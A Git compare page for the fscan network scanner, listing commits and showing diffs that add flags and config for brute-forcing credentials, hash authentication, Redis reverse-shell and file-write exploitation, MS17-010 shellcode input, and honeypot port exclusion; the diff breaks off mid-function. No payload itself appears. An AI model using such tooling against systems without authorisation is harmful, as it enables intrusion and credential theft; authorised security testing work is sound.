Compare commits

...

64 Commits

Author SHA1 Message Date
shadow1ng
ac68df70f7 合并dev。变动太大,又得重新优化输出,进度50%。rpc服务冲突,暂时删除 2025-05-12 22:08:28 +08:00
shadow1ng
76cbdfb5f6 Merge remote-tracking branch 'origin/main'
# Conflicts:
#	Common/Config.go
#	Common/Flag.go
#	Common/Log.go
#	Common/Parse.go
#	Common/ParseIP.go
#	Common/ParseScanMode.go
#	Core/ICMP.go
#	Core/PortScan.go
#	Core/Scanner.go
#	Plugins/WebTitle.go
#	README.md
#	WebScan/WebScan.go
#	WebScan/lib/Check.go
2025-05-12 22:01:58 +08:00
shadow1ng
c4378545b9 合并dev。变动太大吗,又得重新优化输出,进度50%。rpc服务冲突,暂时删除 2025-05-12 21:59:16 +08:00
shadow1ng
5aa2fd3599 简化输出格式 2025-05-12 20:20:53 +08:00
shadow1ng
faa9f319c8 update README.md 2025-05-12 18:17:45 +08:00
ZacharyZcR
25dc6102ed perf: 默认线程改为600 2025-05-10 16:56:41 +08:00
ZacharyZcR
0dc4a6c360 perf: 日常优化 2025-05-05 04:00:35 +08:00
ZacharyZcR
2b4a4024b8 perf: 删除无用函数 2025-05-05 02:24:37 +08:00
ZacharyZcR
e58a48ba9b fix: 修复扫描逻辑 2025-04-26 06:18:01 +08:00
ZacharyZcR
a8bd8ca508 docs: 移除说明,版本号增加 2025-04-26 04:25:22 +08:00
ZacharyZcR
247459a7f7 fix: 细节修复 2025-04-26 04:16:31 +08:00
ZacharyZcR
424c654c43
Merge pull request #470 from tongque0/dev
feat: 新增api扫描功能
2025-04-25 22:27:55 +08:00
tongque
7865038b22 fix:修复rebase时造成的参数丢失 2025-04-22 19:11:40 +08:00
tongque
64588ab28a feat: 添加扫描结果响应中的总结果数和结束结果数字段,并优化错误日志记录 2025-04-22 19:05:05 +08:00
tongque
2d9ea9c1d3 fix: 修复 API 密钥逻辑,确保正确设置和使用 Fscan-API-SECRET 头 2025-04-22 19:05:05 +08:00
tongque
a30cd12249 refactor: rpc请求需要配置请求头:秘钥 2025-04-22 19:05:05 +08:00
tongque
c074adb3a9 feat: 增强 gRPC 和 HTTP 网关服务 2025-04-22 19:05:05 +08:00
tongque
f2475bf97c perf:对flag.go更少的修改,方便rebase查看文件变化 2025-04-22 19:05:00 +08:00
tongque
580b067298 fix:修复rebase时产生错误 2025-04-22 19:04:06 +08:00
tongque
a010fcbb6c feat: 实现扫描任务的并发控制,优化参数解析和输出初始化逻辑 2025-04-22 19:04:06 +08:00
tongque
1f0d11d93e feat: 增加远程参数解析功能并重构扫描逻辑 2025-04-22 19:04:00 +08:00
tongque
a3c5092f9b feat: 添加误删文件 2025-04-22 19:03:42 +08:00
tongque
16e40fe7ed feat: 添加API地址和加密密钥配置,重构API服务启动逻辑 2025-04-22 19:03:42 +08:00
tongque
f921d81a76 feat:新增rpc服务 2025-04-22 19:03:42 +08:00
ZacharyZcR
a1452eb635 fix: 参数修正 2025-04-20 19:30:23 +08:00
ZacharyZcR
e4833fd5af
Merge pull request #473 from cdxiaodong/dev
添加了端口排除,用来绕过端口蜜罐, 我看代码里面已经有写了 但是不能直接命令行参数调过去
2025-04-20 19:19:00 +08:00
I0veD
9092b09b16
Update Parse.go 2025-04-20 19:16:59 +08:00
I0veD
d90deb0201
Update Flag.go 2025-04-20 19:16:26 +08:00
ZacharyZcR
d1d242e6a8
Merge pull request #424 from adeljck/main
Update springboot-cve-2021-21234.yml
2025-04-20 18:47:42 +08:00
ZacharyZcR
28a64d60c4
Merge pull request #434 from INT2ECALL/patch-1
Update etcd-v3-unauth.yml
2025-04-20 18:38:46 +08:00
影舞者
124d29a6b3
nopoc
nopoc
2025-04-18 10:15:22 +08:00
影舞者
4928b4668a
1 2025-04-18 10:12:15 +08:00
梁凯强
5dfd0397d5 简化输出格式 2025-04-18 10:07:05 +08:00
shadow1ng
805af82a1e 简化输出格式 2025-04-17 16:18:21 +08:00
shadow1ng
875d128e53 nopoc 2025-04-17 11:17:43 +08:00
ZacharyZcR
36134b7298
Update README.md 2025-04-15 18:22:21 +08:00
ZacharyZcR
be3affcedd docs: 重写README 2025-04-15 18:19:25 +08:00
ZacharyZcR
165ac8507d
Merge pull request #468 from LingJingMaster/dev
添加新生成的相关logo 至image/gpt-4o
2025-04-15 17:47:36 +08:00
影舞者
0d8f31b72d
修改版本号 2025-04-15 16:48:07 +08:00
ZacharyZcR
77705118d5 refactor: 大量重构 2025-04-14 02:36:16 +08:00
LingJingMaster
7da74ebb52 添加GPT-4o最终图片 2025-04-13 21:30:37 +08:00
LingJingMaster
a8b83f90a0 添加 GPT-4o 相关图片 2025-04-13 20:34:25 +08:00
ZacharyZcR
a2c56ab106 fix: 大型修复,增加超时和线程控制 2025-04-13 19:17:49 +08:00
ZacharyZcR
b89e892f14 fix: #457 2025-04-13 19:15:16 +08:00
ZacharyZcR
f79b12a23c fix: #439 2025-04-13 15:46:37 +08:00
ZacharyZcR
b8cc8ab5dc fix: #460 2025-04-13 15:08:34 +08:00
ZacharyZcR
b73996884f fix: SSH优化和修复 2025-04-13 13:07:28 +08:00
ZacharyZcR
c58b63a6ac fix: 修复#444 2025-04-05 22:00:21 +08:00
ZacharyZcR
e4e3ff1763 fix: 修复#439 2025-04-05 21:55:57 +08:00
ZacharyZcR
e962b9171b fix: 修复#443 2025-04-05 21:43:41 +08:00
ZacharyZcR
2c4e1d9c28 fix: 降低版本 2025-04-05 17:46:53 +08:00
ZacharyZcR
e688b42efe fix: 修复#435 2025-04-05 17:44:52 +08:00
ZacharyZcR
1e42d41a1c fix: 修复#435 2025-04-05 17:42:13 +08:00
ZacharyZcR
87ceba4d8f fix: 修复#431 2025-04-05 17:24:09 +08:00
shadow1ng
cb6d67ed7b update 2025-02-25 20:15:15 +08:00
shadow1ng
5c8088ff32 恢复-nopoc功能 2025-02-25 20:05:35 +08:00
shadow1ng
8170515236 update README.md 2025-02-25 15:03:28 +08:00
shadow1ng
f27d9b31aa update README.md 2025-02-25 15:01:45 +08:00
RJ45_LAB
d05641a7fc
Update etcd-v3-unauth.yml
修复误报
2025-02-17 17:37:49 +08:00
ZacharyZcR
3e04e7801f
Merge pull request #429 from LTP414/dev
Get commandline from ENV
2025-02-15 05:00:32 +08:00
LTP414
8e59c8f09c
Get commandline from ENV 2025-02-09 00:15:41 +08:00
r00t
3ae0f306c1 Revert "Update mysql.go"
This reverts commit cc9d292bdd.
2025-02-07 19:21:45 +08:00
r00t
cc9d292bdd
Update mysql.go
Added a loop for databases to prevent certain non-existing mysql databases from being assumed not to have weak passwords
2025-02-07 19:14:07 +08:00
r00t
b8a591920b
Update springboot-cve-2021-21234.yml
Update springboot-cve-2021-21234.yml
2025-01-26 22:02:59 +08:00
85 changed files with 10321 additions and 5927 deletions

2
.gitignore vendored
View File

@ -3,3 +3,5 @@ main
.idea .idea
fscan.exe fscan.exe
fscan fscan
makefile
fscanapi.csv

View File

@ -5,7 +5,7 @@ import (
"sync" "sync"
) )
var version = "2.0.0" var version = "2.0.1"
var Userdict = map[string][]string{ var Userdict = map[string][]string{
"ftp": {"ftp", "admin", "www", "web", "root", "db", "wwwroot", "data"}, "ftp": {"ftp", "admin", "www", "web", "root", "db", "wwwroot", "data"},
"mysql": {"root", "mysql"}, "mysql": {"root", "mysql"},
@ -864,89 +864,108 @@ type PocInfo struct {
} }
var ( var (
// 目标配置 // =========================================================
Ports string // 扫描目标配置
ExcludePorts string // 原NoPorts // =========================================================
ExcludeHosts string Ports string // 要扫描的端口列表,如"80,443,8080"
AddPorts string // 原PortAdd ExcludePorts string // 要排除的端口列表
ExcludeHosts string // 要排除的主机列表
AddPorts string // 额外添加的端口列表
HostPort []string // 主机:端口格式的目标列表
// 认证配置 // =========================================================
Username string // 认证与凭据配置
Password string // =========================================================
Domain string Username string // 用于认证的用户名
SshKeyPath string // 原SshKey Password string // 用于认证的密码
AddUsers string // 原UserAdd AddUsers string // 额外添加的用户名列表
AddPasswords string // 原PassAdd AddPasswords string // 额外添加的密码列表
// 扫描配置 // 特定服务认证
ScanMode string // 原Scantype Domain string // Active Directory/SMB域名
ThreadNum int // 原Threads HashValue string // 用于哈希认证的单个哈希值
//UseSynScan bool HashValues []string // 哈希值列表
Timeout int64 = 3 HashBytes [][]byte // 二进制格式的哈希值列表
LiveTop int HashFile string // 包含哈希值的文件路径
DisablePing bool // 原NoPing SshKeyPath string // SSH私钥文件路径
UsePing bool // 原Ping
Command string
SkipFingerprint bool
// 文件配置 // =========================================================
HostsFile string // 原HostFile // 扫描控制配置
UsersFile string // 原Userfile // =========================================================
PasswordsFile string // 原Passfile ScanMode string // 扫描模式或指定的插件列表
HashFile string // 原Hashfile ThreadNum int // 并发扫描线程数
PortsFile string // 原PortFile ModuleThreadNum int // 模块内部线程数
Timeout int64 // 单个扫描操作超时时间(秒)
GlobalTimeout int64 // 整体扫描超时时间(秒)
LiveTop int // 显示的存活主机排名数量
DisablePing bool // 是否禁用主机存活性检测
UsePing bool // 是否使用ICMP Ping检测主机存活
EnableFingerprint bool // 是否跳过服务指纹识别
LocalMode bool // 是否启用本地信息收集模式
// Web配置 // =========================================================
TargetURL string // 原URL // 输入文件配置
URLsFile string // 原UrlFile // =========================================================
URLs []string // 原Urls HostsFile string // 包含目标主机的文件路径
WebTimeout int64 = 5 UsersFile string // 包含用户名列表的文件路径
HttpProxy string // 原Proxy PasswordsFile string // 包含密码列表的文件路径
Socks5Proxy string PortsFile string // 包含端口列表的文件路径
LocalMode bool // -local 本地模式 // =========================================================
// Web扫描配置
// =========================================================
TargetURL string // 单个目标URL
URLsFile string // 包含URL列表的文件路径
URLs []string // 解析后的URL目标列表
WebTimeout int64 // Web请求超时时间(秒)默认5秒
HttpProxy string // HTTP代理地址
Socks5Proxy string // SOCKS5代理地址
// =========================================================
// POC与漏洞利用配置
// =========================================================
// POC配置 // POC配置
PocPath string PocPath string // POC脚本路径
Pocinfo PocInfo Pocinfo PocInfo // POC详细信息结构
DisablePocScan bool //nopoc
// Redis配置 // Redis利用
RedisFile string RedisFile string // Redis利用目标文件
RedisShell string RedisShell string // Redis反弹Shell命令
DisableRedis bool // 原Noredistest DisableRedis bool // 是否禁用Redis利用测试
RedisWritePath string // Redis文件写入路径
RedisWriteContent string // Redis文件写入内容
RedisWriteFile string // Redis写入的源文件
// 爆破配置 // 其他漏洞利用
DisableBrute bool // 原IsBrute Shellcode string // 用于MS17010等漏洞利用的Shellcode
BruteThreads int // 原BruteThread
MaxRetries int // 最大重试次数
// 其他配置 // =========================================================
RemotePath string // 原Path // 暴力破解控制
HashValue string // 原Hash // =========================================================
HashValues []string // 原Hashs DisableBrute bool // 是否禁用暴力破解模块
HashBytes [][]byte MaxRetries int // 连接失败最大重试次数
HostPort []string
Shellcode string // 原SC
EnableWmi bool // 原IsWmi
// 输出配置 // =========================================================
DisableSave bool // 禁止保存结果 // 输出与显示配置
Silent bool // 静默模式 // =========================================================
NoColor bool // 禁用彩色输出 DisableSave bool // 是否禁止保存扫描结果
JsonFormat bool // JSON格式输出 Silent bool // 是否启用静默模式
LogLevel string // 日志输出级别 NoColor bool // 是否禁用彩色输出
ShowProgress bool // 是否显示进度条 LogLevel string // 日志输出级别
ShowProgress bool // 是否显示进度条
Language string // 语言 ShowScanPlan bool // 是否显示扫描计划详情
SlowLogOutput bool // 是否启用慢速日志输出
Language string // 界面语言设置
ApiAddr string // API地址
SecretKey string // 加密密钥
) )
var ( var (
UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36" UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36"
Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9" Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"
DnsLog bool DnsLog bool
PocNum int PocNum int
PocFull bool PocFull bool
CeyeDomain string Cookie string
ApiKey string
Cookie string
) )

View File

@ -3,8 +3,10 @@ package Common
import ( import (
"flag" "flag"
"fmt" "fmt"
"github.com/fatih/color" "os"
"strings" "strings"
"github.com/fatih/color"
) )
func Banner() { func Banner() {
@ -54,40 +56,51 @@ func Banner() {
c.Printf(" Fscan Version: %s\n\n", version) c.Printf(" Fscan Version: %s\n\n", version)
} }
// Flag 解析命令行参数并配置扫描选项
func Flag(Info *HostInfo) { func Flag(Info *HostInfo) {
Banner() Banner()
// 目标配置 // ═════════════════════════════════════════════════
// 目标配置参数
// ═════════════════════════════════════════════════
flag.StringVar(&Info.Host, "h", "", GetText("flag_host")) flag.StringVar(&Info.Host, "h", "", GetText("flag_host"))
flag.StringVar(&ExcludeHosts, "eh", "", GetText("flag_exclude_hosts")) flag.StringVar(&ExcludeHosts, "eh", "", GetText("flag_exclude_hosts"))
flag.StringVar(&Ports, "p", MainPorts, GetText("flag_ports")) flag.StringVar(&Ports, "p", MainPorts, GetText("flag_ports"))
flag.StringVar(&ExcludePorts, "ep", "", GetText("flag_exclude_ports"))
flag.StringVar(&HostsFile, "hf", "", GetText("flag_hosts_file"))
flag.StringVar(&PortsFile, "pf", "", GetText("flag_ports_file"))
// 认证配置 // ═════════════════════════════════════════════════
flag.StringVar(&AddUsers, "usera", "", GetText("flag_add_users")) // 扫描控制参数
flag.StringVar(&AddPasswords, "pwda", "", GetText("flag_add_passwords")) // ═════════════════════════════════════════════════
flag.StringVar(&Username, "user", "", GetText("flag_username")) flag.StringVar(&ScanMode, "m", "all", GetText("flag_scan_mode"))
flag.StringVar(&Password, "pwd", "", GetText("flag_password")) flag.IntVar(&ThreadNum, "t", 600, GetText("flag_thread_num"))
flag.StringVar(&Domain, "domain", "", GetText("flag_domain"))
flag.StringVar(&SshKeyPath, "sshkey", "", GetText("flag_ssh_key"))
// 扫描配置
flag.StringVar(&ScanMode, "m", "All", GetText("flag_scan_mode"))
flag.IntVar(&ThreadNum, "t", 60, GetText("flag_thread_num"))
flag.Int64Var(&Timeout, "time", 3, GetText("flag_timeout")) flag.Int64Var(&Timeout, "time", 3, GetText("flag_timeout"))
flag.IntVar(&ModuleThreadNum, "mt", 10, GetText("flag_module_thread_num"))
flag.Int64Var(&GlobalTimeout, "gt", 180, GetText("flag_global_timeout"))
flag.IntVar(&LiveTop, "top", 10, GetText("flag_live_top")) flag.IntVar(&LiveTop, "top", 10, GetText("flag_live_top"))
flag.BoolVar(&DisablePing, "np", false, GetText("flag_disable_ping")) flag.BoolVar(&DisablePing, "np", false, GetText("flag_disable_ping"))
flag.BoolVar(&UsePing, "ping", false, GetText("flag_use_ping")) flag.BoolVar(&UsePing, "ping", false, GetText("flag_use_ping"))
flag.StringVar(&Command, "c", "", GetText("flag_command")) flag.BoolVar(&EnableFingerprint, "fingerprint", false, GetText("flag_enable_fingerprint"))
flag.BoolVar(&SkipFingerprint, "skip", false, GetText("flag_skip_fingerprint")) flag.BoolVar(&LocalMode, "local", false, GetText("flag_local_mode"))
// 文件配置 // ═════════════════════════════════════════════════
flag.StringVar(&HostsFile, "hf", "", GetText("flag_hosts_file")) // 认证与凭据参数
// ═════════════════════════════════════════════════
flag.StringVar(&Username, "user", "", GetText("flag_username"))
flag.StringVar(&Password, "pwd", "", GetText("flag_password"))
flag.StringVar(&AddUsers, "usera", "", GetText("flag_add_users"))
flag.StringVar(&AddPasswords, "pwda", "", GetText("flag_add_passwords"))
flag.StringVar(&UsersFile, "userf", "", GetText("flag_users_file")) flag.StringVar(&UsersFile, "userf", "", GetText("flag_users_file"))
flag.StringVar(&PasswordsFile, "pwdf", "", GetText("flag_passwords_file")) flag.StringVar(&PasswordsFile, "pwdf", "", GetText("flag_passwords_file"))
flag.StringVar(&HashFile, "hashf", "", GetText("flag_hash_file")) flag.StringVar(&HashFile, "hashf", "", GetText("flag_hash_file"))
flag.StringVar(&PortsFile, "portf", "", GetText("flag_ports_file")) flag.StringVar(&HashValue, "hash", "", GetText("flag_hash_value"))
flag.StringVar(&Domain, "domain", "", GetText("flag_domain")) // SMB扫描用
flag.StringVar(&SshKeyPath, "sshkey", "", GetText("flag_ssh_key")) // SSH扫描用
// Web配置 // ═════════════════════════════════════════════════
// Web扫描参数
// ═════════════════════════════════════════════════
flag.StringVar(&TargetURL, "u", "", GetText("flag_target_url")) flag.StringVar(&TargetURL, "u", "", GetText("flag_target_url"))
flag.StringVar(&URLsFile, "uf", "", GetText("flag_urls_file")) flag.StringVar(&URLsFile, "uf", "", GetText("flag_urls_file"))
flag.StringVar(&Cookie, "cookie", "", GetText("flag_cookie")) flag.StringVar(&Cookie, "cookie", "", GetText("flag_cookie"))
@ -95,44 +108,203 @@ func Flag(Info *HostInfo) {
flag.StringVar(&HttpProxy, "proxy", "", GetText("flag_http_proxy")) flag.StringVar(&HttpProxy, "proxy", "", GetText("flag_http_proxy"))
flag.StringVar(&Socks5Proxy, "socks5", "", GetText("flag_socks5_proxy")) flag.StringVar(&Socks5Proxy, "socks5", "", GetText("flag_socks5_proxy"))
// 本地扫描配置 // ═════════════════════════════════════════════════
flag.BoolVar(&LocalMode, "local", false, GetText("flag_local_mode")) // POC测试参数
// ═════════════════════════════════════════════════
// POC配置
flag.StringVar(&PocPath, "pocpath", "", GetText("flag_poc_path")) flag.StringVar(&PocPath, "pocpath", "", GetText("flag_poc_path"))
flag.StringVar(&Pocinfo.PocName, "pocname", "", GetText("flag_poc_name")) flag.StringVar(&Pocinfo.PocName, "pocname", "", GetText("flag_poc_name"))
flag.BoolVar(&PocFull, "full", false, GetText("flag_poc_full")) flag.BoolVar(&PocFull, "full", false, GetText("flag_poc_full"))
flag.BoolVar(&DnsLog, "dns", false, GetText("flag_dns_log")) flag.BoolVar(&DnsLog, "dns", false, GetText("flag_dns_log"))
flag.IntVar(&PocNum, "num", 20, GetText("flag_poc_num")) flag.IntVar(&PocNum, "num", 20, GetText("flag_poc_num"))
flag.BoolVar(&DisablePocScan, "nopoc", false, GetText("flag_no_poc"))
// Redis利用配置 // ═════════════════════════════════════════════════
// Redis利用参数
// ═════════════════════════════════════════════════
flag.StringVar(&RedisFile, "rf", "", GetText("flag_redis_file")) flag.StringVar(&RedisFile, "rf", "", GetText("flag_redis_file"))
flag.StringVar(&RedisShell, "rs", "", GetText("flag_redis_shell")) flag.StringVar(&RedisShell, "rs", "", GetText("flag_redis_shell"))
flag.BoolVar(&DisableRedis, "noredis", false, GetText("flag_disable_redis")) flag.BoolVar(&DisableRedis, "noredis", false, GetText("flag_disable_redis"))
flag.StringVar(&RedisWritePath, "rwp", "", GetText("flag_redis_write_path"))
flag.StringVar(&RedisWriteContent, "rwc", "", GetText("flag_redis_write_content"))
flag.StringVar(&RedisWriteFile, "rwf", "", GetText("flag_redis_write_file"))
// 暴力破解配置 // ═════════════════════════════════════════════════
// 暴力破解控制参数
// ═════════════════════════════════════════════════
flag.BoolVar(&DisableBrute, "nobr", false, GetText("flag_disable_brute")) flag.BoolVar(&DisableBrute, "nobr", false, GetText("flag_disable_brute"))
flag.IntVar(&MaxRetries, "retry", 3, GetText("flag_max_retries")) flag.IntVar(&MaxRetries, "retry", 3, GetText("flag_max_retries"))
// 其他配置 // ═════════════════════════════════════════════════
flag.StringVar(&RemotePath, "path", "", GetText("flag_remote_path")) // 输出与显示控制参数
flag.StringVar(&HashValue, "hash", "", GetText("flag_hash_value")) // ═════════════════════════════════════════════════
flag.StringVar(&Shellcode, "sc", "", GetText("flag_shellcode"))
flag.BoolVar(&EnableWmi, "wmi", false, GetText("flag_enable_wmi"))
// 输出配置
flag.StringVar(&Outputfile, "o", "result.txt", GetText("flag_output_file")) flag.StringVar(&Outputfile, "o", "result.txt", GetText("flag_output_file"))
flag.StringVar(&OutputFormat, "f", "txt", GetText("flag_output_format")) flag.StringVar(&OutputFormat, "f", "txt", GetText("flag_output_format"))
flag.BoolVar(&DisableSave, "no", false, GetText("flag_disable_save")) flag.BoolVar(&DisableSave, "no", false, GetText("flag_disable_save"))
flag.BoolVar(&Silent, "silent", false, GetText("flag_silent_mode")) flag.BoolVar(&Silent, "silent", false, GetText("flag_silent_mode"))
flag.BoolVar(&NoColor, "nocolor", false, GetText("flag_no_color")) flag.BoolVar(&NoColor, "nocolor", false, GetText("flag_no_color"))
flag.BoolVar(&JsonFormat, "json", false, GetText("flag_json_format"))
flag.StringVar(&LogLevel, "log", LogLevelSuccess, GetText("flag_log_level")) flag.StringVar(&LogLevel, "log", LogLevelSuccess, GetText("flag_log_level"))
flag.BoolVar(&ShowProgress, "pg", false, GetText("flag_show_progress")) flag.BoolVar(&ShowProgress, "pg", false, GetText("flag_show_progress"))
flag.BoolVar(&ShowScanPlan, "sp", false, GetText("flag_show_scan_plan"))
flag.BoolVar(&SlowLogOutput, "slow", false, GetText("flag_slow_log_output"))
// ═════════════════════════════════════════════════
// 其他参数
// ═════════════════════════════════════════════════
flag.StringVar(&Shellcode, "sc", "", GetText("flag_shellcode"))
flag.StringVar(&Language, "lang", "zh", GetText("flag_language")) flag.StringVar(&Language, "lang", "zh", GetText("flag_language"))
flag.StringVar(&ApiAddr, "api", "", GetText("flag_api"))
flag.StringVar(&SecretKey, "secret", "", GetText("flag_api_key"))
// 解析命令行参数
parseCommandLineArgs()
flag.Parse() // 设置语言
SetLanguage() SetLanguage()
} }
// FlagFormRemote 解析远程扫描的命令行参数
func FlagFromRemote(info *HostInfo, argString string) error {
if strings.TrimSpace(argString) == "" {
return fmt.Errorf("参数为空")
}
args, err := parseEnvironmentArgs(argString)
if err != nil {
return fmt.Errorf("远程参数解析失败: %v", err)
}
// 创建一个新的 FlagSet 用于远程参数解析,避免污染主命令行
fs := flag.NewFlagSet("remote", flag.ContinueOnError)
// 注册需要的远程 flag注意使用 fs 而非 flag 包的全局变量
fs.StringVar(&info.Host, "h", "", GetText("flag_host"))
fs.StringVar(&ExcludeHosts, "eh", "", GetText("flag_exclude_hosts"))
fs.StringVar(&Ports, "p", MainPorts, GetText("flag_ports"))
fs.StringVar(&ExcludePorts, "ep", "", GetText("flag_exclude_ports"))
fs.StringVar(&HostsFile, "hf", "", GetText("flag_hosts_file"))
fs.StringVar(&PortsFile, "pf", "", GetText("flag_ports_file"))
fs.StringVar(&ScanMode, "m", "all", GetText("flag_scan_mode"))
fs.IntVar(&ThreadNum, "t", 10, GetText("flag_thread_num"))
fs.Int64Var(&Timeout, "time", 3, GetText("flag_timeout"))
fs.IntVar(&ModuleThreadNum, "mt", 10, GetText("flag_module_thread_num"))
fs.Int64Var(&GlobalTimeout, "gt", 180, GetText("flag_global_timeout"))
fs.IntVar(&LiveTop, "top", 10, GetText("flag_live_top"))
fs.BoolVar(&DisablePing, "np", false, GetText("flag_disable_ping"))
fs.BoolVar(&UsePing, "ping", false, GetText("flag_use_ping"))
fs.BoolVar(&EnableFingerprint, "fingerprint", false, GetText("flag_enable_fingerprint"))
fs.BoolVar(&LocalMode, "local", false, GetText("flag_local_mode"))
fs.StringVar(&Username, "user", "", GetText("flag_username"))
fs.StringVar(&Password, "pwd", "", GetText("flag_password"))
fs.StringVar(&AddUsers, "usera", "", GetText("flag_add_users"))
fs.StringVar(&AddPasswords, "pwda", "", GetText("flag_add_passwords"))
fs.StringVar(&UsersFile, "userf", "", GetText("flag_users_file"))
fs.StringVar(&PasswordsFile, "pwdf", "", GetText("flag_passwords_file"))
fs.StringVar(&HashFile, "hashf", "", GetText("flag_hash_file"))
fs.StringVar(&HashValue, "hash", "", GetText("flag_hash_value"))
fs.StringVar(&Domain, "domain", "", GetText("flag_domain"))
fs.StringVar(&SshKeyPath, "sshkey", "", GetText("flag_ssh_key"))
fs.StringVar(&TargetURL, "u", "", GetText("flag_target_url"))
fs.StringVar(&URLsFile, "uf", "", GetText("flag_urls_file"))
fs.StringVar(&Cookie, "cookie", "", GetText("flag_cookie"))
fs.Int64Var(&WebTimeout, "wt", 5, GetText("flag_web_timeout"))
fs.StringVar(&HttpProxy, "proxy", "", GetText("flag_http_proxy"))
fs.StringVar(&Socks5Proxy, "socks5", "", GetText("flag_socks5_proxy"))
fs.StringVar(&PocPath, "pocpath", "", GetText("flag_poc_path"))
fs.StringVar(&Pocinfo.PocName, "pocname", "", GetText("flag_poc_name"))
fs.BoolVar(&PocFull, "full", false, GetText("flag_poc_full"))
fs.BoolVar(&DnsLog, "dns", false, GetText("flag_dns_log"))
fs.IntVar(&PocNum, "num", 20, GetText("flag_poc_num"))
fs.BoolVar(&DisablePocScan, "nopoc", false, GetText("flag_no_poc"))
fs.StringVar(&RedisFile, "rf", "", GetText("flag_redis_file"))
fs.StringVar(&RedisShell, "rs", "", GetText("flag_redis_shell"))
fs.BoolVar(&DisableRedis, "noredis", false, GetText("flag_disable_redis"))
fs.StringVar(&RedisWritePath, "rwp", "", GetText("flag_redis_write_path"))
fs.StringVar(&RedisWriteContent, "rwc", "", GetText("flag_redis_write_content"))
fs.StringVar(&RedisWriteFile, "rwf", "", GetText("flag_redis_write_file"))
fs.BoolVar(&DisableBrute, "nobr", false, GetText("flag_disable_brute"))
fs.IntVar(&MaxRetries, "retry", 3, GetText("flag_max_retries"))
fs.StringVar(&Outputfile, "o", "result.txt", GetText("flag_output_file"))
fs.StringVar(&OutputFormat, "f", "txt", GetText("flag_output_format"))
fs.BoolVar(&DisableSave, "no", false, GetText("flag_disable_save"))
fs.BoolVar(&Silent, "silent", false, GetText("flag_silent_mode"))
fs.BoolVar(&NoColor, "nocolor", false, GetText("flag_no_color"))
fs.StringVar(&LogLevel, "log", LogLevelSuccess, GetText("flag_log_level"))
fs.BoolVar(&ShowProgress, "pg", false, GetText("flag_show_progress"))
fs.BoolVar(&ShowScanPlan, "sp", false, GetText("flag_show_scan_plan"))
fs.BoolVar(&SlowLogOutput, "slow", false, GetText("flag_slow_log_output"))
fs.StringVar(&Shellcode, "sc", "", GetText("flag_shellcode"))
fs.StringVar(&Language, "lang", "zh", GetText("flag_language"))
// 开始解析远程传入的参数
if err := fs.Parse(args); err != nil {
return fmt.Errorf("远程参数解析失败: %v", err)
}
return nil
}
// parseCommandLineArgs 处理来自环境变量和命令行的参数
func parseCommandLineArgs() {
// 首先检查环境变量中的参数
envArgsString := os.Getenv("FS_ARGS")
if envArgsString != "" {
// 解析环境变量参数 (跨平台支持)
envArgs, err := parseEnvironmentArgs(envArgsString)
if err == nil && len(envArgs) > 0 {
flag.CommandLine.Parse(envArgs)
os.Unsetenv("FS_ARGS") // 使用后清除环境变量
return
}
// 如果环境变量解析失败,继续使用命令行参数
}
// 解析命令行参数
flag.Parse()
}
// parseEnvironmentArgs 安全地解析环境变量中的参数
func parseEnvironmentArgs(argsString string) ([]string, error) {
if strings.TrimSpace(argsString) == "" {
return nil, fmt.Errorf("empty arguments string")
}
// 使用更安全的参数分割方法
var args []string
var currentArg strings.Builder
inQuote := false
quoteChar := ' '
for _, char := range argsString {
switch {
case char == '"' || char == '\'':
if inQuote && char == quoteChar {
inQuote = false
} else if !inQuote {
inQuote = true
quoteChar = char
} else {
currentArg.WriteRune(char)
}
case char == ' ' && !inQuote:
if currentArg.Len() > 0 {
args = append(args, currentArg.String())
currentArg.Reset()
}
default:
currentArg.WriteRune(char)
}
}
if currentArg.Len() > 0 {
args = append(args, currentArg.String())
}
return args, nil
}

View File

@ -44,6 +44,7 @@ type LogEntry struct {
const ( const (
LogLevelAll = "ALL" // 显示所有级别日志 LogLevelAll = "ALL" // 显示所有级别日志
LogLevelError = "ERROR" // 仅显示错误日志 LogLevelError = "ERROR" // 仅显示错误日志
LogLevelBase = "BASE" // 仅显示信息日志
LogLevelInfo = "INFO" // 仅显示信息日志 LogLevelInfo = "INFO" // 仅显示信息日志
LogLevelSuccess = "SUCCESS" // 仅显示成功日志 LogLevelSuccess = "SUCCESS" // 仅显示成功日志
LogLevelDebug = "DEBUG" // 仅显示调试日志 LogLevelDebug = "DEBUG" // 仅显示调试日志
@ -51,10 +52,11 @@ const (
// 日志级别对应的显示颜色映射 // 日志级别对应的显示颜色映射
var logColors = map[string]color.Attribute{ var logColors = map[string]color.Attribute{
LogLevelError: color.FgRed, // 错误日志显示红色 LogLevelError: color.FgBlue, // 错误日志显示蓝色
LogLevelInfo: color.FgYellow, // 信息日志显示黄色 LogLevelBase: color.FgYellow, // 信息日志显示黄色
LogLevelSuccess: color.FgGreen, // 成功日志显示绿色 LogLevelInfo: color.FgGreen, // 信息日志显示绿色
LogLevelDebug: color.FgBlue, // 调试日志显示蓝色 LogLevelSuccess: color.FgRed, // 成功日志显示红色
LogLevelDebug: color.FgWhite, // 调试日志显示白色
} }
// InitLogger 初始化日志系统 // InitLogger 初始化日志系统
@ -63,42 +65,50 @@ func InitLogger() {
log.SetOutput(io.Discard) log.SetOutput(io.Discard)
} }
var StartTime = time.Now()
// formatLogMessage 格式化日志消息为标准格式 // formatLogMessage 格式化日志消息为标准格式
// 返回格式:[时间] [级别] 内容 // 返回格式:[时间] [级别] 内容
func formatLogMessage(entry *LogEntry) string { func formatLogMessage(entry *LogEntry) string {
timeStr := entry.Time.Format("2006-01-02 15:04:05") elapsed := time.Since(StartTime)
return fmt.Sprintf("[%s] [%s] %s", timeStr, entry.Level, entry.Content) var timeStr string
// 根据时间长短选择合适的单位
switch {
case elapsed < time.Second:
// 毫秒显示,不需要小数
timeStr = fmt.Sprintf("%dms", elapsed.Milliseconds())
case elapsed < time.Minute:
// 秒显示,保留一位小数
timeStr = fmt.Sprintf("%.1fs", elapsed.Seconds())
case elapsed < time.Hour:
// 分钟和秒显示
minutes := int(elapsed.Minutes())
